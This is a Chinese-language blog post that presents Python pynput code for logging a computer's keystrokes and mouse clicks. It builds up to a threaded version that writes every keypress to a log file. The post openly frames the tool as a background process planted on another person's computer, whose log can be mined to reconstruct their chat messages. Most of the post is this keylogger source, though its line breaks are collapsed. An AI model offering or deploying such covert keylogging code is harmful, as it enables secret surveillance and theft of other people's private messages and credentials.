Python電腦鍵盤及滑鼠記錄程式,電腦監視程式
阿新 • • 發佈:2021-10-29
Python電腦鍵盤及滑鼠記錄程式,電腦監視程式,程式執行截圖:
1.使用pynput庫
pynput 可以監控我們的鍵盤和滑鼠。目前具有此類功能的庫有很多,比如 pygame 等遊戲庫,但是當我們只需要監控鍵盤和滑鼠時,它們就顯得過於笨重了。
2.對鍵盤監控
在他的電腦常駐一個後臺程序去實現監控鍵盤輸入並記錄下來,程式碼大概可以這樣:
from pynput import keyboard def on_press(key): print(f'{key} :pushed') def on_release(key): #print(f'{key} released')if key == keyboard.Key.esc: # Stop listener return False with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn: lsn.join()
3.對滑鼠監控
from pynput import mouse def on_click(x, y, button, pressed): if button == mouse.Button.left: print('left was pressed!') elif button == mouse.Button.right: print('right was pressed!') return False else: print('mid was pressed!') # Collect events until released with mouse.Listener(on_click=on_click) as listener: listener.join()
你會發現,每條列印都被列印了兩次,這是因為按下去和抬起來都會觸發滑鼠事件。
4.監控並記錄到日誌檔案
from pynput import keyboard,mouse from loguru import logger from threading import Thread # 定義日誌檔案 logger.add('demo.log') def on_press(key): logger.debug(f'{key} :pushed') def on_release(key): #print(f'{key} released') if key == keyboard.Key.esc: # Stop listener return False # 定義f1用於執行緒1 def f1(): with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn: lsn.join() def on_click(x, y, button, pressed): if button == mouse.Button.left: logger.debug('left was pressed!') elif button == mouse.Button.right: logger.debug('right was pressed!') return False else: logger.debug('mid was pressed!') # 定義f2用於執行緒2 def f2(): # Collect events until released with mouse.Listener(on_click=on_click) as listener: listener.join() if __name__ == '__main__': # 起兩個執行緒分別監控鍵盤和滑鼠 t1 = Thread(target=f1) t2 = Thread(target=f2) t1.start() t2.start()
這樣鍵盤操作已經全部被記錄,通過對這個日誌檔案進行簡單的NLTK
語言處理,就能復原聊天記錄。
更多Python原始碼,請微信關注:Python程式碼大全,